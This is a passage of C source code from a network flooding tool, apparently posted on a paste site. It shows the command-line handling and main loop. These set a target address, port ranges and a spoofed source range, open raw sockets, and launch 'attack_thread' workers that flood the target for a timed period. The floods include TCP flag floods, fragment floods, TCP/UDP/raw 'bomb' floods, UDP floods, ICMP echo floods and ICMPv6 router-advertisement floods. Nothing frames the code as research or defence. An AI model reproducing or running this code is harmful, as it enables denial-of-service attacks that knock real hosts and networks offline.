  732. case 9:
  733. thread_data_array[TCP_FRG].initialized = 1;
  734. thread_data_array[0].a_flags |= TCP_FRG;
  735. thread_data_array[TCP_FRG].a_flags |= TCP_FRG;
  736. thread_data_array[TCP_FRG].datasize = datasize;
  737. break;
  738. }
  739. break;
  740. case 'B':
  741. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  742. bombsize = 64;
  743. if(bombsize == 0)
  744. bombsize = atoi(p + 1);
  745. if(bombsize > 2048)
  746. bombsize = 2048;
  747. switch (atoi(optarg))
  748. {
  749. case 0:
  750. thread_data_array[TCP_BMB].initialized = 1;
  751. thread_data_array[0].a_flags |= TCP_BMB;
  752. thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  753. thread_data_array[TCP_BMB].bombsize = bombsize;
  754. break;
  755. case 1:
  756. thread_data_array[UDP_BMB].initialized = 1;
  757. thread_data_array[0].a_flags |= UDP_BMB;
  758. thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  759. thread_data_array[UDP_BMB].bombsize = bombsize;
  760. break;
  761. case 2:
  762. thread_data_array[RAW_BMB].initialized = 1;
  763. thread_data_array[0].a_flags |= RAW_BMB;
  764. thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  765. thread_data_array[RAW_BMB].bombsize = bombsize;
  766. break;
  767. }
  768. break;
  769. case 'I':
  770. thread_data_array[ICMP6_ROUTERADV].initialized = 1;
  771. thread_data_array[0].a_flags |= ICMP6_ROUTERADV;
  772. thread_data_array[ICMP6_ROUTERADV].a_flags |= ICMP6_ROUTERADV;
  773. break;
  774. case 'R':
  775. thread_data_array[ICMP_ECHO_G].initialized = 1;
  776. thread_data_array[0].a_flags |= ICMP_ECHO_G;
  777. thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  778. break;
  779. case 'U':
  780. thread_data_array[UDP_CFF].initialized = 1;
  781. thread_data_array[0].a_flags |= UDP_CFF;
  782. thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  783. break;
  784. case 'h':
  785. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  786. {
  787. DestAddress4.sin_family = AF_INET;
  788. inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  789. thread_data_array[0].dstaddr = lookup(optarg);
  790. thread_data_array[0].destination4 = DestAddress4;
  791. }
  792. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  793. {
  794. DestAddress6.sin6_family = AF_INET6;
  795. inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  796. thread_data_array[0].destination6 = DestAddress6;
  797. }
  798. else
  799. {
  800. printf("-4 and -6 can not both be specified.\n\n");
  801. usage(argv[0]);
  802. }
  803. break;
  804. case 'd':
  805. thread_data_array[0].dst_class = optarg;
  806. break;
  807. case 's':
  808. thread_data_array[0].src_class = optarg;
  809. break;
  810. case 'p':
  811. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  812. usage(argv[0]);
  813. thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
  814. thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
  815. break;
  816. case 'q':
  817. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  818. usage(argv[0]);
  819. thread_data_array[0].s_lport = atoi(optarg); /* Source start port */
  820. thread_data_array[0].s_hport = atoi(p + 1); /* Source end port */
  821. break;
  822. case 't':
  823. thread_data_array[0].timeout = atoi(optarg);
  824. break;
  825. case 'w':
  826. window_size = atoi(optarg);
  827. if(window_size > 65535)
  828. window_size = 65535;
  829. thread_data_array[0].window_size = window_size;
  830. break;
  831. default:
  832. usage(argv[0]);
  833. break;
  834. }
  835. }
  836. if (!thread_data_array[0].timeout) {
  837. usage(argv[0]);
  838. }
  839. if (!thread_data_array[0].src_class) {
  840. if(thread_data_array[0].flag6 == 1) {
  841. static char ipstring[3];
  842. strcat(ipstring, ":");
  843. thread_data_array[0].src_class = class2ip6(ipstring);
  844. }
  845. }
  846. if ( (!thread_data_array[0].flag4 && !thread_data_array[0].flag6) ||
  847. (!thread_data_array[0].a_flags) ||
  848. (!thread_data_array[0].timeout)
  849. )
  850. {
  851. usage(argv[0]);
  852. }
  853. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  854. int i;
  855. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  856. if ( thread_data_array[i].initialized == 1 ) {
  857. if ( thread_data_array[i].a_flags <= TCP_FRG ||
  858. thread_data_array[i].a_flags == RAW_BMB ||
  859. thread_data_array[i].a_flags == ICMP_ECHO_G
  860. )
  861. {
  862. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  863. perror("socket");
  864. exit(-1);
  865. }
  866. }
  867. else if(thread_data_array[i].a_flags == TCP_BMB)
  868. {
  869. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  870. perror("socket");
  871. exit(-1);
  872. }
  873. }
  874. else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF)
  875. {
  876. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
  877. perror("socket");
  878. exit(-1);
  879. }
  880. }
  881. if (thread_data_array[i].a_flags != UDP_BMB) {
  882. if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
  883. perror("setsockopt");
  884. exit(-1);
  885. }
  886. }
  887. }
  888. }
  889. printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class :inet_ntop(AF_INET,&thread_data_array[0].destination4.sin_addr,thread_data_array[0].DestIP4, sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class != NULL ? thread_data_array[0].src_class :"random",thread_data_array[0].a_flags, thread_data_array[0].timeout);
  890. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  891. }
  892. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  893. int i;
  894. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  895. if ( thread_data_array[i].initialized== 1 ) {
  896. if (thread_data_array[i].a_flags <= TCP_BMB || thread_data_array[i].a_flags == RAW_BMB) {
  897. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0) {
  898. perror("socket");
  899. exit(-1);
  900. }
  901. }
  902. else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF)
  903. {
  904. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0) {
  905. perror("socket");
  906. exit(-1);
  907. }
  908. }
  909. else if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  910. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) {
  911. perror("socket");
  912. exit(-1);
  913. }
  914. }
  915. if (thread_data_array[i].a_flags != UDP_BMB) {
  916. if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
  917. perror("setsockopt");
  918. exit(-1);
  919. }
  920. }
  921. }
  922. }
  923. printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class : inet_ntop(AF_INET6,&thread_data_array[0].destination6.sin6_addr,thread_data_array[0].DestIP6, sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags,thread_data_array[0].timeout);
  924. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  925. }
  926. signal (SIGINT, handle_exit);
  927. signal (SIGTERM, handle_exit);
  928. signal (SIGQUIT, handle_exit);
  929. thread_data_array[0].start = time(NULL);
  930. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  931. if (thread_data_array[i].a_flags == TCP_FIN) {
  932. thread_data_array[i].thread = i;
  933. thread_data_array[i].packets = 0;
  934. thread_data_array[i].th_flags = TH_FIN;
  935. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  936. printf("+ Thread error:\n");
  937. perror("- pthread_create()\n");
  938. }
  939. }
  940. if (thread_data_array[i].a_flags == TCP_SYN) {
  941. thread_data_array[i].thread = i;
  942. thread_data_array[i].packets = 0;
  943. thread_data_array[i].th_flags = TH_SYN;
  944. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  945. printf("+ Thread error:\n");
  946. perror("- pthread_create()\n");
  947. }
  948. }
  949. if (thread_data_array[i].a_flags == TCP_RST) {
  950. thread_data_array[i].thread = i;
  951. thread_data_array[i].packets = 0;
  952. thread_data_array[i].th_flags = TH_RST;
  953. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  954. printf("+ Thread error:\n");
  955. perror("- pthread_create()\n");
  956. }
  957. }
  958. if (thread_data_array[i].a_flags == TCP_PSH) {
  959. thread_data_array[i].thread = i;
  960. thread_data_array[i].packets = 0;
  961. thread_data_array[i].th_flags = TH_PUSH;
  962. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  963. {
  964. printf("+ Thread error:\n");
  965. perror("- pthread_create()\n");
  966. }
  967. }
  968. if (thread_data_array[i].a_flags == TCP_ACK) {
  969. thread_data_array[i].thread = i;
  970. thread_data_array[i].packets = 0;
  971. thread_data_array[i].th_flags = TH_ACK;
  972. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  973. {
  974. printf("+ Thread error:\n");
  975. perror("- pthread_create()\n");
  976. }
  977. }
  978. if (thread_data_array[i].a_flags == TCP_URG) {
  979. thread_data_array[i].thread = i;
  980. thread_data_array[i].packets = 0;
  981. thread_data_array[i].th_flags = TH_URG;
  982. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  983. {
  984. printf("+ Thread error:\n");
  985. perror("- pthread_create()\n");
  986. }
  987. }
  988. if (thread_data_array[i].a_flags == TCP_ECE) {
  989. thread_data_array[i].thread = i;
  990. thread_data_array[i].packets = 0;
  991. thread_data_array[i].th_flags = TH_SYN;
  992. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  993. {
  994. printf("+ Thread error:\n");
  995. perror("- pthread_create()\n");
  996. }
  997. }
  998. if (thread_data_array[i].a_flags == TCP_CWR) {
  999. thread_data_array[i].thread = i;
  1000. thread_data_array[i].packets = 0;
  1001. thread_data_array[i].th_flags = TH_SYN;
  1002. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1003. {
  1004. printf("+ Thread error:\n");
  1005. perror("- pthread_create()\n");
  1006. }
  1007. }
  1008. if (thread_data_array[i].a_flags == TCP_NOF) {
  1009. thread_data_array[i].thread = i;
  1010. thread_data_array[i].packets = 0;
  1011. thread_data_array[i].th_flags = TH_NOF;
  1012. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1013. {
  1014. printf("+ Thread error:\n");
  1015. perror("- pthread_create()\n");
  1016. }
  1017. }
  1018. if (thread_data_array[i].a_flags == TCP_FRG) {
  1019. thread_data_array[i].thread = i;
  1020. thread_data_array[i].packets = 0;
  1021. thread_data_array[i].th_flags = TH_NOF;
  1022. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1023. {
  1024. printf("+ Thread error:\n");
  1025. perror("- pthread_create()\n");
  1026. }
  1027. }
  1028. if (thread_data_array[i].a_flags == TCP_BMB) {
  1029. thread_data_array[i].thread = i;
  1030. thread_data_array[i].packets = 0;
  1031. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1032. printf("+ Thread error:\n");
  1033. perror("- pthread_create()\n");
  1034. }
  1035. }
  1036. if (thread_data_array[i].a_flags == UDP_BMB) {
  1037. thread_data_array[i].thread = i;
  1038. thread_data_array[i].packets = 0;
  1039. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1040. printf("+ Thread error:\n");
  1041. perror("- pthread_create()\n");
  1042. }
  1043. }
  1044. if (thread_data_array[i].a_flags == RAW_BMB) {
  1045. thread_data_array[i].thread = i;
  1046. thread_data_array[i].packets = 0;
  1047. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1048. printf("+ Thread error:\n");
  1049. perror("- pthread_create()\n");
  1050. }
  1051. }
  1052. if (thread_data_array[i].a_flags == UDP_CFF) {
  1053. thread_data_array[i].thread = i;
  1054. thread_data_array[i].packets = 0;
  1055. if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0) {
  1056. printf("+ Thread error:\n");
  1057. perror("- pthread_create()\n");
  1058. }
  1059. }
  1060. if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  1061. thread_data_array[i].thread = i;
  1062. thread_data_array[i].packets = 0;
  1063. if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0) {
  1064. printf("+ Thread error:\n");
  1065. perror("- pthread_create()\n");
  1066. }
  1067. }
  1068. if (thread_data_array[i].a_flags == ICMP6_ROUTERADV) {
  1069. thread_data_array[i].thread = i;
  1070. thread_data_array[i].packets = 0;
  1071. if(pthread_create(&attack_thread[i], NULL, &send_icmp_ra, (void *)&thread_data_array[i]) != 0) {
  1072. printf("+ Thread error:\n");
  1073. perror("- pthread_create()\n");
  1074. }
  1075. }
  1076. }
  1077. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  1078. if(attack_thread[i] != 0)
  1079. pthread_join(attack_thread[i], NULL);
  1080. }
  1081. exit(0);
  1082. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement